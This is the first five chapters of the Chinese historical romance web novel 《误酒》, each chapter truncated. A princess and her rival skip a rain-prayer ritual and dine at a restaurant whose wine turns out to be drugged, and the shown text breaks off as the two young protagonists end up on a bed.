《误酒》 1. 偷闲 《误酒》全本免费阅读 大弘王朝的宗继山脉之下,承祧行宫瑶台银阙,肃穆庄严,适逢晨光熹微,各宫院门起闩开户,端接新阳,来往的侍从们宣劳无声,皇家秩序像道无形的威压沉在头顶。 然而西北角某座宫院里,纷繁脚步声打破了祥静,随之而来的是慌乱的低声呼喊。 “郡主!” 几名内侍里里外外翻了个遍:“郡主,郡主——哎哟,那祖宗又跑到哪去了?” 几人百寻不得,站在院门相视失色。 有位小黄门急得跺脚:“马上就到时辰了,这可怎么办呀?” 他身旁的侍女年长几岁,还算镇定:“去请长公主来,说不定她能有办法找到郡主。” 顿了顿,她压低声量嘱咐道:“今日特殊,你们小心些,千万别把事情闹大……” 内侍们纷纷应是,成串的脚步声离远,连忙奔着长公主求救去了。 院门口的动静渐渐平却。 不远处的花庭假山后,两只翘头攒珠的绣花鞋探出,一直被小心拢起的月白裙摆散下,掩映着杨妃色的披帛,勾勒出一道窈窕身影。 “找姨母帮忙也没用!” 少女衣裙精致,满头青丝却挽得随意,几绺发辫垂在耳后,随她的动作晃着,再一抬头便露出张芳菲妩媚的小脸,一双桃花眼潋滟动人,眸光里却透着狡黠到底的顽劣,正滴溜溜地转着。 她拍了拍裙子,得意地笑:“我才不会让你们找到,省得听你们唠叨,非要我去那劳什子……” 还未说完,拐角处的光景发生变数。 她话音一收,轻盈退回假山后头。 只见一行人影出现,又拐进这边的宫道,直往西宫门去,伴随着稀疏错落的话语。 “斋戒了一个月,如今我走路都在眼冒金星,哪里还有力气去跳一整日的舞,待会儿我可能半路就要晕了……” “别说这样不吉利的话,云承国师说了,大弘的久旱能否得解,就看今日的祭典是否顺利了,我们的礼舞必须要跳完。” 听见熟悉的嗓音,假山后的少女悄然探出半颗脑袋,窥清过路的几人,无一不是平日里与她一同读书游玩的官家子弟。 这些世族子女娇生惯养,向来金镶玉裹,今日却一反常态穿着素色麻衣,手拿参祭的咒文铜铃,白皙面容上描着古怪的妆纹,瞧着离奇又滑稽。 他们似乎也不太适应自己的装扮,不满地嘟囔着:“这礼舞的打扮也太寒碜了些,穿着通身不舒服,待会还要游街,岂不让百姓们笑话?” “嘘,不得妄言。” 有个别懂事的忙按下话头,低声劝道:“我们要为国祈雨,这身打扮是给天上的神仙看的,谁敢笑话我们?再说了……” “又不是只有我们在吃苦——天家的皇子与郡主也要与我们一同斋戒、一同礼舞游街,他们还未说话,你怎敢抱怨,难不成你比皇亲还要金贵?” 先前的同伴讪讪住了口,不敢再说。 “快走吧,别误了游街的时辰。” 一行人匆匆离开。 月白色再次晃出假山,他们口中理应一同吃苦的朝和郡主淡定抬手,抚平花绣巧致的衣袖。 “荒谬。” 黎梨并不领情:“荒谬至极,本郡主才不去游街。” 她仰起脸,眯眼看了看晴热的天空,只见暑气蒸腾,连半片云都没有。 大弘王朝已经久旱三月了。 那姓云的国师连月观星卜象,只得了一个结论,说这场旱灾,是薰风仙童与瑶水仙女交恶不和所致。 还说破解之法仅有一个—— 肃办祭典,让所有名门右族的芳年后裔都来侍奉礼舞、游街祈愿。如此郑重诚心,才能求得二位上仙修好言和、缔结雨露,排解大弘王朝的久旱之忧。 黎梨想起这茬,忍不住直呼离谱。 连她都知道,久旱是时节不良。那些当官的不想办法修渠调水、安抚农家,反倒相信云家神棍国师的鬼话——真以为是什么仙童仙女闹了矛盾,跳个舞求和就能下雨了? 当真是病急乱投医! 小郡主不信鬼神,毫不犹豫地转身,背向礼舞的队伍大步离开。 * 承祧行宫风水上佳,虽逢久旱,但也不减葱茏绿意,花海一片茫茫。 暂居的贵客们都要去往今日的祭典,眼下满宫空余静谧,偌长的石径散着零星叶片,仅一道浅色身影独行。 黎梨不知从哪捡了枝细嫩柳条,有一下没一下扫过圃边的鲜花绿草,往多树的清凉林院走去。 “皇帝舅舅糊涂,竟然听信那样荒诞无稽的话语,劳师动众地安排祭典……” 她手里的柳枝随风扬起,在暖煦夏风中摇头晃脑,似乎并不认可她的话。 黎梨好像被它说服,思忖一番又改口道:“也对,舅舅挂怀社稷,怪不得他关心则乱,要怪就只能怪奸臣狡诈——” 她半提起那柳枝,认真对它说道:“云承国师献的计策,哪里会有用?我同你说,姓云的没几个好东西……” 话音未落,似某种响应,一道锐风从斜侧方蹿出,“咻”地一声劈来,她手中的柳枝转瞬就被狠狠钉在了旁侧树干上。 这一下来得突然,黎梨吓得缩手,慌忙间连退数步。 这里是皇家行宫,谁人如此大胆,竟敢动武? 她惊疑不定地转过头,尚未看清对方,又是一道劲风呼啸袭来,擦着她的发髻猛然扎进树里。 无辜的花树被冲击得树梢晃荡,花瓣与轻叶簌簌砸落,黎梨的视野与心跳一并凌乱,依稀看见树干上钉着两枚尖锐小石,半数没入树身,力道之大,活像什么催命利器。 她哪里见过这般阵仗,说不清是气还是怕,当即睁大了眼,朝肇事者望去。 几棵树后,有道提剑的颀长身影。 少年脊背挺拔,随意束着鸦黑的马尾辫,绛红圆领锦袍恣意扎在腰间,玄色衣裤包裹着的笔直小腿,向下紧紧扎入长靴之中。 他终于发现这边的不速之客,仓促收住连贯的剑势,手中银剑余威嗡鸣,震得手腕一阵发麻。 剑兴被断,少年轻啧了声,转过身来。 银剑随之偏转,接连折射出数道锋利芒光,不免叫人觉得危险,但他垂手的姿态却放松闲散,任由尖利剑刃挨在自己身侧,不紧不慢抬起了下颌。 年轻的面容迎上日光,少年眉宇间的线条英挺又利落,一双瞳眸好似琥珀珠子,色泽浅冽,即便漫不经意地瞥眼看人,眸光也会轻易刺透长睫阴影,显出几分乖张恣肆的野气。 无辜受伤的花树仍在颤栗。 二人在纷飞落花中对上了视线。 均是一怔。 “云谏?”黎梨率先回过神来,认出这位对头冤家,顿时火大。 葱白指尖杵向身旁树干上的两枚小石,她怒气冲冲道:“平日里你处处与我作对也就罢了,今日你还想用暗器暗杀我?” 云谏不觉皱起眉。 小郡主义愤填膺,全然不知头顶的花瓣纷卷,飘落在青丝乌髻,辍停在裙衫衣摆,挂了她一身的绯红。 远远看去,似乎这点柔弱花雨都能把她埋了。 云谏下意识否认:“我若想杀你,用得着浪费暗器?” 好生狂妄! 黎梨火气更甚,正欲回怼却听那少年轻咳一声。 他挽剑入鞘,顺手挑开缠系在腰间的衣摆,有些不自在地解释了句: “方才都是意外 2. 好学 《误酒》全本免费阅读 云谏轻轻一推,黎梨的背就靠上了树干。 她还未反应过来,懵然抬头,碰巧对上他低垂的视线。 许是刚练完剑,身前人热气未散,像一堵灼热的墙将她困在方寸之间。 少年的气息近得前所未有,黎梨不自在地挪开了些,压着声凶道:“看什么?别指望我谢谢你。” 她嗓音清脆,因着避忌旁人听见而故意压低,本意是虚张声势想叫眼前人知难而退,可惜偏偏生了副玉软花娇的好相貌,假愠时只添娇憨。 云谏当然不会怕。 他懒洋洋撇开头,目光落到她鸦羽般的发髻上,看出她今晨为了避人耳目,舍弃了一应珠翠,青丝间只剩下一支红玉簪子,一同往日与她形影不离。 这簪子样式低调,用料与雕工却考究,半面宝相花纹精致繁丽,本该与她十分相衬。 只可惜,这宝相花红玉簪原是一对,两支并在一处才能拼出如意圆满的好意头,如今却只剩下一支,孤零零地立在她的发间,叫人觉得月缺有憾,白璧生瑕。 若细究起来,这份不圆满,也有他的一份错处。 云谏默了片刻,彻底移开视线,平声回道:“没指望你谢谢我。” 他看向林院来处,那两道新来客的身影属实出乎意料。 眼见来客走近,他想专心凝神,好听清那边的说谈声,然而,身前少女的大胆盯视却将他的思绪搅得凌乱。 黎梨仰着脸,放任自己的目光在他脸上梭巡,一寸寸游离,看得仔细,好像拿了簇细小火把,一点点烧得他的脸颊泛起热意。 云谏不得不回过头来,将黎梨方才的问话还给她:“看什么?” “你同我说实话,”黎梨侧了侧脑袋,“你今日是不是出来躲懒的?” “毕竟……” 她似疑惑又似笃定,踮着脚来左右观察:“你哪有破相,想必是在骗我……” 云谏看着她凑近,却未料及轻巧的吐息就此拂过自己颈边,像夏日林间的一块凉冰,轻却惊人。 他忍了忍,伸手按住她的发顶,强行给她转了个方向:“你还有心情管我?” “你自己看看,那是何人?” 黎梨不满地拂开他的手,望向那两位新客。 “……三皇子?” 黎梨暗道怪哉,她不去祭典也就罢了,她这位三表哥可是有望继承大统的嫡皇子,一举一动都备受瞩目,竟然也敢偷溜。 只见不远处一高一低两道身影,都穿着素色麻衣,脸上的礼舞妆纹还未擦净,显然过来得突然。 黎梨凝眸打量那道稍矮的身影,纳罕着这位贵女好面生,似乎不曾见过? 疑惑未持续多久,三皇子萧煜珏的声音便传来: “瞿灵妹妹,你难得回京一趟,为何一直不应我的邀约?直到今日祭典才来找我,害我好生为难……” 瞿灵。 此声一出,黎梨脑海里电光火石,猝然想起这号人物——前任吏部尚书家的幼女,少时也是见过面的,似乎与萧煜珏关系很好。后来吏部尚书告老还乡,她随父离京,此后多年未有音讯。 这次祭典召令世家,瞿老竭忠三朝,让她回来侍奉礼舞也不算奇怪。 那边的麻衣少女委屈道:“煜珏哥哥你不知道我的难处。” “我父亲上了年纪,一门心思留在祖籍养老,如今瞿家只剩我二叔在京为官,我回京只能投靠他……但你也知道我二叔一家规矩甚严,将我看得可紧,先前哪有机会应你的邀约?” 闻言,萧煜珏语气松软许多:“我也没有责怪你的意思,毕竟与你见面才是大事,那祭典不去也罢。” “只是可惜与你相处的时间太少,就怕今日祭典结束,你又要启程回乡……” 被戳中心事,瞿灵掩面呜呜咽咽哭了起来。 萧煜珏此人酒囊饭袋,万事不通,可仗着天家身份与一脉相传的顶好相貌,在情场一道顺风顺水。 见美人梨花带雨,他当即懂事地将她揉入怀里,好声哄道:“妹妹这是怎么了?哭得我心都疼了,可是受了什么委屈?” “你不妨同我说说,即便要上刀山下火海,我也毫不犹豫替你去了!” 这情话说得一套又一套的,黎梨躲在树后啧啧称奇,她看看三皇子,又看看面无表情摩挲着剑柄的云谏,意有所指地朝他努努嘴。 ——你一向狗嘴吐不出象牙,仔细以后娶不到亲,还不快些学学? 云谏搭在剑柄上的手一顿,朝她翻了个白眼。 那边终于哄得瞿灵抬起头来,少女泪盈于睫:“煜珏哥哥当真要帮我?” 萧煜珏再三保证,瞿灵终于抽噎着说了。 “煜珏哥哥,桐洲实在清苦。那里穷山恶水,连个体面些的侍女都雇不到,平日里裁衣晒书、烹羹煮茶,稍精细点的活儿都得自己动手……我幼时在京也是娇生惯养的,哪里吃过那样的苦?” 说罢,她展开自己的手,原本细嫩的指尖,如今累累伤痕。 萧煜珏心疼坏了,捧着美人的手心呀肝呀叫了一通。 “这也就罢了……” “我父亲不知听了谁人的撺掇,竟想将我指配给邻乡的一个穷秀才,说什么书香门第才是上等清流,”瞿灵凄凄怨怨,泪如雨下,“他要我祭典过后就回去议亲待嫁……” “岂有此理!”萧煜珏大怒。 “区区一介秀才,如何配得上你?”他当下就要带瞿灵回去,“妹妹别怕,我现在就去写信给瞿老……” 瞿灵忙拉住他:“我父亲性子固执,这又是家事,你哪里说得动他?” “那该怎么办?”萧煜珏停在原地,两人一时僵持。 这时候,云谏已经嗅出了些不同寻常的微妙气氛,心下一慌,拉过黎梨就要走。 “别看了,我们回去。” 黎梨正在兴头,哪里肯答应,三两下就推开了他:“你自己回去便是,我还想看看他们有何妙计呢。” 云谏哽了一下,难得委婉:“……你不会想看的。” 黎梨:? 只听见远处的瞿灵又哭了起来:“罢了,只怪我命苦!” “想来我幼时膏梁锦绣,又与煜珏哥哥你青梅竹马,如此顺当如意,已是把我一生的福气用尽了……如今父亲打定了主意要推我入火坑,我一个姑娘家,好比远塘浮萍,无依无靠,哪里有反抗的力气……” 她哭得好生难过,声声浸泪,柔弱的肩头止不住地颤抖,如雨中梨花一般惹人怜爱。 萧煜珏急得围着她打转:“妹妹胡说什么,你何曾无依无靠了,这不是还有我在吗?” “煜珏哥哥,既然你这样说——” 瞿灵用力抹了一把泪,豁出去了似的:“我在揽星楼订了桌上好的酒菜,你可要与我同去共饮?” 揽星楼……共饮? 黎梨瞪大了眼,直呼刺激。 谁不知揽星楼是京城出了名的销金窟,酒酽花浓,穷奢极欲,更是贵人们风流密会的佳所…… 此情此景,显然酒菜都是噱头,瞿灵是在暗示萧煜珏,她愿意与他谱写一段多情佳话啊! 猝不及防听见贵女表白,不仅黎梨打了个激灵,就连纵横欢场的萧煜珏也险些没反应过来。 “灵儿妹妹,你是说……” 瞿灵咬着唇,细白手指搅弄着衣带,俨然是副情羞意怯的模样。 果然没有女人会不爱自己,萧煜珏大笑:“灵儿放心,我绝不负你!” 那边两人便贴上了脸,遥遥看去,啃得十分起劲。 黎梨又是一阵摇头啧啧:“瞿姑 3. 揽星 《误酒》全本免费阅读 云谏熟门熟路避开侍从的耳目,带着黎梨溜出行宫,穿过小片野芳佳木,来到宗继山脉的山脚。 此地位处京郊,因着水秀山明、景致如画,向来不缺达官显贵的光顾游玩——有人的地方便有买卖,久而久之,出山口前两方地就多了不少酒家肆馆,渐集聚成了街市的模样。 二人的步伐停在入街口。 时值午间饭点,店家摊贩的吆喝声渐足,浓白炊烟如浪潮翻滚入蓝天,繁华喧嚣,世味浓得近乎浪漫。 黎梨半跟在云谏身后,一双桃花眼水润润地晃着明光,左右顾盼生辉。 只觉姨母说得没错,青灯古佛远远比不上红尘浊酒。 她正歪头听着不远处茶楼的说书声,一片纱白便轻飘飘地从头罩下,将她遮得严实。 是一顶帷帽。 她撩开轻软白纱,看见云谏正抛了块碎银给旁边的小摊贩,手上还多了件骑马披用的薄帔。 他瞥过来一眼:“保不齐有人认得你,不怕被人发现你逃了祭典?” “自然不怕。” 黎梨说得理直气壮,手上却老实地掩紧了帷纱。 云谏哑了哑,转身笑了:“走吧。” 揽星楼地处街市尽头,临江独栋,雕栏玉砌,被长年的富贵滋养得门庭辉煌,饶是黎梨站在楼前,也忍不住感慨东家豪商好大的手笔。 踏上光滑平整的白玉阶梯,矮胖的掌柜迎上前来,左一眼云谏的箭袖皂靴,工致雁纹暗绣,右一眼黎梨的缀珠罗裙,纤巧彩丝缠香,他脸上笑容又殷勤了十分。 “二位贵客大驾光临,不知可有预订?” 说多错多,黎梨矜持地报了个“瞿”字。 掌柜眼珠子一转,想起确有一位姓瞿的女客订了今日的雅间,当即笑得合不拢嘴:“可算盼到了,雅间都给您二位留着呢!” 二人随他转上三层木梯,才发现这层的装潢暗藏用意。 黎梨悄然掀起帷纱一角,看见原本是窗户的地方厚帘低垂,遮得日光遽暗,只在壁墙燃着如荧豆灯,暗淡的光火点点。 外头仍是青天白日,楼里已经有了醉生梦死的氛围——不愧是名声远扬的销金窟,白日廉耻都影响不了它。 她挑眼打量着沿途紧闭的房门,依稀看见间落朦胧的光影,忽然一顿,驻足停在某间房前。 房内传出丝竹声袅袅,唱着曲儿的伶人歌喉婉转,其中几道男伶嗓音更是优越,甚至不比姨母府中的差。 黎梨不由得多听了几句,这一停顿就引起了掌柜的注意。 “贵人可喜欢这乐声?”掌柜搓着手过来。 不等黎梨作答,他就谄媚着笑道:“这些乐伶都是我们楼里精心调教的,声如黄莺,技艺周全,还都是一等一的好相貌!” “贵人要不要选几个知心体贴的,为您奏乐助个兴?” “还能选乐伶?” 黎梨来了兴致,正想细问,有道不解风情的嗓音响起:“不能。” 黎梨一顿,颇不愉快地皱起眉。 云谏回身站在廊间,一手仍习惯地搭在剑柄上,背着光看不清神情,似乎察觉不到她的不悦,仍旧否决道: “不要乐伶。” 此话一出,居中的掌柜徒然感受到两道无形的电光火花迸出,噼里啪啦电得他后颈发麻。 他尴尬笑了笑:“那就……” 黎梨冷冷扯了扯嘴角:“那就什么?你可听清楚了?他说不要。” 掌柜讪讪然,也不知该不该应答。 “既如此,”这边小郡主挺直了脊背,仰着倨傲的头颅吩咐道,“那便不要女伶了,你给我好好挑选男伶即可,姑且选个十个八个吧。” 掌柜:…… 他很确定那少年不是这个意思。 空气静止了片刻,云谏迈步从阴影处走出,明灭变化间薄唇线条抿得笔直。 矮胖掌柜暗自捏了一把汗。 他在楼里当年十余年,阅人无数,一眼就能看出这少年不是什么好脾气的主,而且腰间还别着剑,指不定能拆了他们这层楼。 他赔着笑道打圆场:“啊,饭菜已经备好了,不如我们……” “歌喉还是次要的。” 黎梨好像没听见他说话,夹枪带棒地接道:“劳掌柜多挑些清秀爱笑的男伶,我最讨厌那些成日板着脸的男人。” 瞥了眼那少年的面色,掌柜头更低了。 云谏步伐止住,站在一盏荧灯下,就着微芒稍侧了侧脸,刀裁似的轮廓投下小半片阴影。 果然冷着一张脸。 黎梨抱起双臂,丝毫不输阵地朝他哼了声,等着看他能奈她如何。 谁知云谏只是掀起眼帘,琉璃珠似的眸子晃着灯光,清清凉凉在她腰际转了一圈。 黎梨有些警惕地侧过身。 下一刻,板着脸的少年扬起下颌,朝她勾了勾嘴角,竟是笑了起来。 他生了张清朗的好相貌,笑容却轻狂,在黄沙边关养出的不驯野性顿时展露无遗。 黎梨有些不好的预感。 果然,云谏向她摊开手,无赖似的:“我没有钱。” 黎梨:……? 云谏:“你连个荷包都没带,配饰也没多余的,可见你也没有钱。” 黎梨:…… 云谏语气惋惜:“乐伶的费用,我们付不起,只能作罢了。” 黎梨在帷帽下睁大了眼。 鬼话连篇!方才他买帽子,她都看见他的钱袋了! 世上还有如此不要脸的男子吗?当着掌柜小厮的面说自己没有钱,没钱还来吃姑娘订的酒席,活像个蹭吃蹭喝的地痞无赖,也不怕丢人! 知道他存心不让她如愿,黎梨气得跺脚。 这一下,云谏是真心实意地感到惋惜。 想也不用想,此刻的她肯定一如往日被气得双颊绯粉,云谏想起坊间的精怪故事,一直觉得她大概是只桃子成了精。 可惜,眼下隔了道帷帽什么也看不见,他百般遗憾地转回身。 一开口却又有些神清气爽:“掌柜,带路!” “哎,好嘞。” 好不容易掀过波折,掌柜唯恐再生事,连忙拔快了脚步引路,带着他们来到尽头的雅间前。 “就是这儿了。” 花飞蝶舞的雕纹木门被殷切推开,黎梨提着裙摆先迈了进 4. 误酒 《误酒》全本免费阅读 云谏默了默,抬腿往桌边走来。 黎梨将帷帽搁到身边的空凳子上,随口问了句:“方才掌柜与你说什么了?” 视野没了阻碍,她才看清这间房的布置未免太过暧昧,一时又有些发愣。 云谏没有回答,越过桌子来到窗边,“哗”一声拉开厚沉的帘子,薄薄的窗格纸像几方透明的光盒,将些微日光滤给半边圆桌。 黎梨顺着光束看去,云谏还不住手。 他又将那两扇花窗推得豁开,任由晌午的明光闯入,照得整个房间光明敞亮,楼下街市的喧嚣声也顺势传了上来,一时之间,二人恍若站在什么卖包子饺子的摊位面前。 半点风流旖旎的氛围都没了。 两个人不约而同地松了一口气。 云谏撩袍坐到桌前,这才搪塞道:“没说什么。” 黎梨瞥了眼他,有些不满:“那掌柜也太没眼力见了,分不清谁是主子吗?” 就算有什么需要请示的,也该问她才对,问云谏算什么? 云谏不置可否,只凉凉说了声:“你该庆幸他分不清谁是主子。” ——不然他拦着你说那一通,你敢听吗? 黎梨狐疑地瞟着他,后者面不改色给她递了双银筷:“不是来吃饭的么,还管别人做什么?” 此话倒是有理。 郡主大人大度地摒弃前嫌,接过筷子犒劳自己一箸美馔,当即满足得弯起眉眼。 “揽星楼不负盛名!” 云谏眼底闪过笑意,只道这一日来的鸡飞狗跳总算静落,心头到底松闲许多。 见桌边有只白釉描兰的细颈酒壶,依稀散发着花果清香,别致又雅趣,他便提过来为自己斟了半杯,轻抿一口。 泠酒滑过唇齿,浓香芬芳,入喉又带着不容忽视的灼意,调子鲜活,确实是难得一见的好酒。 在京中良久,大小宴席无数,先前竟从未喝过它。 云谏转了转壶身,想看看有无记着酒名,此番动作落在黎梨眼里,她稍一思量就晓得了这酒很不一般。 黎梨将自己的酒杯推上前,并不客气:“我也要。” 到底自幼相识,云谏知她酒量不错,从善如流也给她斟了半杯。 黎梨稍尝了一口,眼睛就亮了:“好喝。” 经过月余斋戒,即便面前只是沾着油星的饼子,也会觉得那是什么八珍玉食,更遑论真真切切的龙肝凤胆摆在面前,没有人会不心动。 二人心花开爽,难得没有拌嘴,和和气气地饱餐一顿。 艳阳逐渐西下,饭食差不多了,酒兴却未却,觥筹交错间不知续了多少杯。 黎梨手臂搭在窗台边,一手悠哉托着下巴,另一手摩挲着玲珑酒杯,懒洋洋地看着楼下街市做买卖。 窗台送入暖风,说不清是夏意还是酒意,给她扑了层薄薄的浅粉,眼尾眉梢尽是娇色。 那束柔软的披帛垂坠在她的臂弯,又顺着窗风扬起,轻飘飘地落在云谏指尖,若即若离地抚过。 云谏伸指勾住,轻轻一拉,披帛就遥遥牵连着二人,像情人相会的鹊桥。 见她侧首看过来,云谏朝她伸出手。 黎梨驾轻就熟,将那只喝空的酒杯放回他掌心:“还要。” 这回云谏却不顺着她了。 他将杯子搁回桌上,另一手仍有意无意牵缠着她的披帛:“别喝了,醒醒酒,不然待会回去,浑身酒气的怎么交待?” 黎梨看了他半晌,终是恹恹扯回他手中的布料,趴回窗台上:“还不都怪你哥。” 若非他非要办这场祭典,怎会平白生出那么多事来? 她没再管云谏,眺目望向街市尽头,隐隐约约看到几行不群车马行近,还伴随着鸣鼓击钟的声响。 黎梨似有所感,直起腰来仔细辨认。 只见铜锣高骑开路,皇城禁军首尾护航,数十余银发白袍的老道步罡踏斗,挥着拂尘念念有词,隔着一队乐师,身着素衣麻衣的少年少女们跳着祈神礼舞,手中铜铃成串摇响,叮当声远传四方,在晴空中直送窗棂。 清清泠泠的。 小郡主半迷半蒙的酒意被驱得干净,她视线向后飞巡,毫不费力找到了末尾压阵的人。 疏眉朗目,道袍清俊。 ——国师,云承。 她的一干同窗还在前面累死累活地跳舞,这场荒诞祭典的始作俑者却高享华椅,衣袂飘飘,闲适得像在游山玩水。 黎梨远远睥着他,心中暗骂此人不厚道。 等着瞧吧,若是祭典过后没有降雨,文武百官的唾沫星子都能淹死他! 谁知就这么腹诽一句,那狗精的国师竟抬眼扫了过来。 远远隔着半条街的人山店海,云承的一双鹰眼却精准万分地抓住了在揽星楼临窗而坐的二人,他似乎对此情景并不意外,只似笑非笑地朝二人扯了扯嘴角。 黎梨觉得毛骨悚然,惊呼一声,几乎是本能地拽着云谏蹲下,仓惶躲起。 云谏没有防备,好险才稳住身形,不至于摔在地板给她磕个响头。 少年有些恼火:“黎梨!” 黎梨扑过来一把捂住他的嘴:“你哥!你哥看见我们了!” 粉衫白裙忽然扑近,云谏一怔,恍惚间只闻到了花果芬芳。 那酒里的香甜不知何时染了她一身,随着她的动作飘散在二人身侧,无声无息沁入肺腑,浇灌着某些情欲生根发芽,让人想要…… 云谏神思猛然一震,等等,眼下青天白日的,这样越礼的念头从何而来? 他有些惊慌,甚至没留意自己后退时跌坐在了地上。 不应该啊! 他觉得自己大概不是那种色欲熏心、靠得近些就蠢蠢欲动的禽兽,怎么今日心神乱得反常? 莫非醉得不轻? 黎梨眨了眨眼,那只纤长白皙的手还未放下。 云谏后仰了些避开,磕绊着回了句:“你说谁,谁看到我们了?” 黎梨瞧着他躲老虎似的,不仅没有生气,眼底反倒浮现出一丝不解。 他与往日相比,似乎有些不同。 她忍不住俯身凑了过去,像只游猎的山猫踱步逼近,一只爪子按到猎物肩头,居高临下端详着他。 二人近得气息交缠,酣然芳香弥漫,居下的少年仰脸看着这一幕,脊背僵得硬直,甚至忘了动弹。 于是少女毫无妨碍地低下头去,肩上的发辫随之划落,丝缕垂落他的胸口,随着她的动作在他衣襟上画出墨色弧线。 鼻息间花香更浓,云谏下意识侧脸避开,她却顺势贴近了他的颈侧。 少年颈间的皮肤似暖玉般泛着光泽,淡青色的血管脉络清晰跳动着,他无意识滚动喉头时气息微促,黎梨清楚闻到他身上沾着花香,与那酒里的如出一辙。 她像只认真嗅闻花蜜的小动物:“你好香啊……” 云谏抬手一把抵住了她的肩:“你……” ……你在说什么虎狼之词? 少年的耳根彻底烫得发红,拢回心神连忙将她推起来些。 “别说胡话!” 黎梨面露不赞同,刚要反驳,云谏看破她的心思,又一句话堵死了她:“就算不是胡话,这种话也不能说!” 学学他,他不就忍住了没说出来吗? 二人莫名僵持着,一片清泠泠的铜铃声奏响在楼下。 略微回过神,黎梨悄然探起半个脑袋,向下窥视。 正巧经过楼下的云承低着眉顺着眼,神情悲悯,一心盘念咒诀,连半个眼神都没分给楼上,似乎并不知晓二人的存在。 < 5. 喜欢 《误酒》全本免费阅读 云谏下意识伸手撑住圆桌,勉强稳住身形。 蓦然受了外力,圆桌上的碗碟轻微碰撞了下,瓷器相接发出清脆声响。 察觉到腹中澎湃爆发的欲念,云谏浅淡的眸色骤暗几分,望着这桌子酒菜,忍不住冷笑。 他不是不谙世事的深闺千金,多少认识几个京中纨绔,看得明白这些腌臜手段。 ——这饭菜里下了药。 云谏听多了市井轶闻,却从未想过自己也会在这儿吃了瘪,就好似不留神吞了只苍蝇,既叫人恼火,也让人恶心。 撑在圆桌上的五指逐渐收紧,骨节与厚沉的楠木桌板相抵,钝慢的痛意像细微的水滴,在混沌中隐约提醒着他什么。 他顺着指边看去,一只细白瓷酒杯闯入视线,上面半枚口脂色泽莹润,像朵姝丽得危险的花。 她也在。 “……黎梨,还好吗?” 云谏提起气,唤了两声。 细微的呜咽从里间传出,听不清是在应他,还是因为难受。 云谏甩了甩头勉强站起身,然未走几步,腹腔中滚烫的热气就蛮横地冲向四肢,随之而来的剧痛冲得他只能踉跄扶住屏门。 半遮半掩的门缝里,午后被他勾在指尖的披帛散在地面,似水淌开,柔软万分地指向最里头的床榻。 一道纤细身影侧卧在上,蜷缩得小小的。 那身刺绣精巧的月白裙衫从塌边逶迤垂落地面,少女如瀑青丝缕缕散开,软枕之上一张绯红的小脸半露半埋,秀眉拧成了结。 她双目紧闭着,额间细汗涔涔,似被痛楚耗干了力气,除了间或的痛吟,吐息微弱得几不可闻。 还有只茶盏碎在脚踏上,绘了滩乌棕的水渍,云谏依稀看见她鬓发与指尖湿淋淋一片。 此刻担心战胜了一切。 云谏跌撞到床边,俯身推了推她的肩。 “黎梨,怎么样?” 就这一下触碰,对方的体温隔着衣料传到手上。 分明炙热非常,却像一泓清凉冰泉,浇熄了他指尖火焚的疼痛,像某种显而易见的蛊惑,煽动着他继续深入。 榻上的身影无知无觉,平日的明艳鲜活不知所踪,只剩下了气咽声丝的虚弱。 他该担心,该自责,该后悔为何带她来这样的地方。 但他控制不住升起的却是一股凶狠的破坏欲。 云谏惊觉可耻,只得狠力咬破自己舌尖。 腥甜的鲜血与刺痛一并涌起,心神勉强清明片刻,他扯过锦被一角盖上她的肩膀,隔着被子想要摇醒她。 “黎梨,醒醒……” 身前人浓密的羽睫颤了颤,还未睁开眼,纤细的柔荑就率先搭上了他的手腕。 肌肤相接,舒适的清凉感令人一阵恍惚。 “好凉……” 黎梨似乎也尝到了甜头,虚浮的吐息也安稳了几分,那只柔软的手循着本能一路游离向上,要往他的衣襟里钻去。 云谏脊骨发麻,只觉她的动作里尽是火花电光,只得一把握住她的手。 少年的掌间布着轻薄的剑茧,粗砺感明显,黎梨缓缓睁开了些眼睛。 她被热火烧得头脑晕胀,视野里更是水雾朦胧一片。 片刻前她短暂地醒来,在难熬的灼热中摸到床前的茶盏,却因颤着手不小心泼了自己一脸,如今浓茶入眼,看什么都是模糊的虚影。 方才,好像有道声音在唤她。 黎梨依稀记得,她让云谏先回去了,那眼下坐在她身边的是谁? ……莫非是楼里的男伶? 几段光怪陆离的场景从混沌脑海里划过,黎梨在烈火煎熬中似醒非醒。 ……是了,她好像让掌柜挑美人来着,还让云谏走的时候喊人进来? “感觉如何?站得起来吗?”身前人的嗓音沙得不像话,随着问话晃了晃她的手。 他手掌比她大上许多,莫名熟悉的薄茧一直贴着她的肌肤,清凉的触感里多了几分细微的痒意。 隐晦的愉悦攀腾而生。 黎梨双眸茶色迷惘,心底却荡起一股清波,似乎发现了脱离火海的路径。 她反握住了对方。 其实黎梨鲜少与生人亲近,她见多了长公主姨母召乐伶、养小倌,府里常年歌舞升平,她偶有列席也只是兴致缺缺地酌饮。 姨母说她年纪轻,还不知晓其间乐趣,她当时嗤之以鼻,直接否认了其间会有乐趣。 没想到,今夜在这陌生乐伶的身上,倒是发现了些许门道。 她试探一般,牵着他的手贴上自己颈侧,果不其然,相接之处滚烫的血液瞬间被安抚。 黎梨烧得迷朦,低头蹭了又蹭,贪心地汲取这来之不易的微薄凉意,喃喃道:“原来姨母说得对……” 手下的触感细腻得惊人,云谏即时绷紧了额角的青筋。 那片肌肤像张娇嫩柔弱的白宣,在她不加控制的动作下,轻而易举绽出了动人的霞色。 他再咬了一道舌尖的伤口,趁着刺痛感短暂占领情.欲的高地,囫囵探了把她颈间的脉搏。 乱得毫无章法。 怦动一下下撞上他的指尖,撞得他心跳也随之急促难平。 “黎梨,”云谏艰涩开了口,“情况不太对。” “你能起身吗?我带你回行宫,那有太医……” 他抽出手想抬起她的脸,想将她拔出迷乱的泥淖,黎梨却顺势抱住了他的手臂。 紧实的胳膊被抱着向下,压缓了那道柔软的起伏,云谏颇狼狈地想要避开。 小郡主感受到了推拒,心中升起些不满。 “不许躲!” 她使了性子,用力抱住他的胳膊,压在怀里不肯松手。云谏意识到事情脱出了控制,真慌了神,他挣扎着想掰开她,可刚下手又不知碰到了什么,触电似的立即缩了回去。 “你……我哪敢不躲!” 云谏没了辙,崩溃得像只濒临炸毛的猫:“你明天醒来指不定要剁了我的手……” “我现在就已经醒着了。” 她有些不服气,又有些委屈:“我喜欢与你待近一些,为何你这般不情愿?” 云谏一怔,挣扎都慢了两分。 就趁这时机,黎梨遽然使了劲,借着他的推力,一转身就将他拉上了榻。 云谏猝不及防,双臂仓促地撑在她身侧,黎梨却偏要勾着他的脖颈往下。 少年跌落她身前,瞳孔错愕地颤着,只看见身下人儿的桃花眼里水雾朦胧,好似盛着满江春水。 